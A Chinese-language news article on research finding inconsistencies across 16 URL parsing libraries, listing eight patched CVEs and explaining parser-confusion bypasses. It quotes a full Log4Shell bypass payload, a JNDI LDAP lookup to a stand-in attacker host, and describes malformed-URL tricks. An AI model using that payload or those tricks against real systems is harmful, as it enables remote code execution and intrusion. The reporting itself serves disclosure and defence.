| 导读 | 有研究人员对 16 个不同的统一资源定位符（ URL ）解析库进行调研后，发现了不一致和混乱的情形，网络安全公司 Claroty 和 Synk 联合开展了深入的分析工作，本文介绍了具体成果。 |
日前，有研究人员对 16 个不同的统一资源定位符（ URL ）解析库进行调研后，发现了不一致和混乱的情形，它们可以被不法分子用来绕过验证机制，为众多攻击途径敞开大门。随后，两家网络安全公司 Claroty 和 Synk 联合开展了深入的分析工作，结果发现，用C 、JavaScript 、 PHP 、 Python 和 Ruby 等语言编写的许多第三方库存在 8 个安全漏洞，多个 Web 应用程序使用这些第三方库。
发现的8个漏洞包括Belledonne’s SIP Stack（C，CVE-2021-33056）、Video.js（JavaScript，CVE-2021-23414）、Nagios XI（PHP，CVE-2021-37352）、Flask-security（Python，CVE-2021-23385）、Flask-security-too（Python，CVE-2021-32618）、Flask-unchained（Python，CVE-2021-23393）、Flask-User（Python，CVE-2021-23401）、Clearance（Ruby，CVE-2021-23435），所有这些漏洞此后已由各自的维护人员修复。
研究人员表示：“ URL 解析中的混乱可能导致软件（比如 Web 应用程序）出现异常行为，可能被威胁分子用来引发拒绝服务攻击、泄露信息，或可能实施远程代码执行攻击。”由于 URL 是一种用来请求和检索位于本地或 Web 上资源的基本机制，解析库如何解释 URL 请求方面的差异可能会给用户带来重大风险。一个典型例子是 2021 年 12 月在 Log4j 日志框架中暴露的 Log4Shell?严重漏洞。该漏洞源于攻击者控制的恶意字符串被评估、并由易受攻击的应用程序记录时，导致 JNDI 查询连接到攻击者运行的服务器，从而执行任意 Java 代码。虽然 Apache 软件基金会（ ASF ）迅速发布了补丁以修复漏洞，但人们很快发现，输入精心设计的内容（格式为“ ${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}”），可以绕过缓解措施，再次允许远程 JNDI 查询执行代码。
研究人员表示：“这种绕过源于在 JNDI 查询过程中使用了两个不同的 URL 解析器，一个解析器用于验证 URL ，另一个用于获取 URL ；URL 的 Authority 部分也发生变化，这取决于每个解析器如何处理 URL 的 Fragment 部分（#）。” 具体来说，如果输入作为常规的 HTTP URL 来处理， Authority 部分（域名和端口号的组合）一遇到 fragment 标识符就结束；而作为 LDAP URL 来处理时，解析器会分配整个“127.0.0[.]1#.evilhost.com:1389”作为 Authority ，因为 LDP URL 规范不考虑该 fragment 。
的确，使用多个解析器是这8个漏洞出现的主要原因之一，还有一个原因是，库遵循不同的 URL 规范时存在不一致，从而导致了问题，这实际上带来了可利用的漏洞。不一致的情形多种多样，如 URL 含有反斜杠（“\\”）、不规则数量的斜杠（比如https:///www.example[.]com）或 URL 编码数据（“%”）， 以及 URL 缺少 URL 方案等，这后一种情形可被用来实施远程代码执行攻击，甚至发动拒绝服务（ DoS ）和开放重定向网络钓鱼攻击。研究人员表示：“许多实际的攻击场景可能来自不同的解析原语。”为了保护应用程序免受 URL 解析漏洞的影响，“有必要充分了解整个过程中牵涉哪些解析器，以及解析器之间的差异，了解它们如何解释不同格式、有误的 URL 以及它们支持哪些类型的 URL 。”更多Linux资讯请查看：https://www.linuxprobe.com